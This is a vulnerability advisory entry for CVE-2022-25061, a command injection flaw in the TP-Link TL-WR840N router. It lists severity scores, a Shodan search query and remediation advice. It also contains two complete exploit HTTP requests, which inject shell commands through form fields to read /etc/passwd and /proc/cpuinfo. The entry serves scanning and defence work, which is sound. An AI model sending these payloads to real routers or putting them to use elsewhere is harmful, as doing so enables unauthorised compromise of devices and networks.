| Title | TP-Link TL-WR840N - Command Injection |
|---|---|
| Author | ritikchaddha |
| Severity | Critical |
| Impact | Authenticated attackers can inject system commands through the oal_setIp6DefaultRoute component to execute arbitrary commands on the TP-Link router, enabling complete device compromise and network infiltration. |
| Remediation | Update firmware to the latest version if available. If no firmware update is available,consider implementing network segmentation to limit access to the router's management interface. |
| CVSS Score | 9.8 |
| EPSS Score | 0.86026 |
| CVE ID | CVE-2022-25061 |
| CWE ID | CWE-78 |
| Shodan Query | title:"TL-WR840N" |
| Tags | cve cve2022 tplink router rce iot authenticated vuln |
The TP-Link TL-WR840N(ES)_V6.20_180709 router contains a command injection vulnerability in the oal_setIp6DefaultRoute component. This vulnerability allows authenticated attackers to execute arbitrary system commands, leading to complete device compromise.
POST /cgi?2 HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0: Win64: x64: rv:140.0) Gecko/20100101 Firefox/140.0
Connection: close
Content-Length: 195
Authorization: Basic YWhIYXlEOjBja2VzUjZs
Content-Type: text/plain
Referer: //mainFrame.htm
Accept-Encoding: gzip
[NOIP_DNS_CFG#0,0,0,0,0,0#0,0,0,0,0,0]0,5
enable=1
userName=;cat /etc/passwd > /tmp/XjvbNIFy.txt;
password=;cat /proc/cpuinfo >> /tmp/XjvbNIFy.txt;
userDomain=;cat /tmp/XjvbNIFy.txt;
login=1
POST /cgi?2 HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 13_5_0) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.5 Safari/605.1.15
Connection: close
Content-Length: 136
Authorization: Basic YWhIYXlEOjBja2VzUjZs
Content-Type: text/plain
Referer: //mainFrame.htm
Accept-Encoding: gzip
[L3_IP6_FORWARDING#0,0,0,0,0,0#0,0,0,0,0,0]0,3
__ifAliasName=ewan_ipoev6_d
__ifName=;cat /tmp/XjvbNIFy.txt;
defaultConnectionService=
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2022/CVE-2022-25061.yaml
🦈 Packet Capture: ⬇️ Download cve-2022-25061.pcap
N/AN/A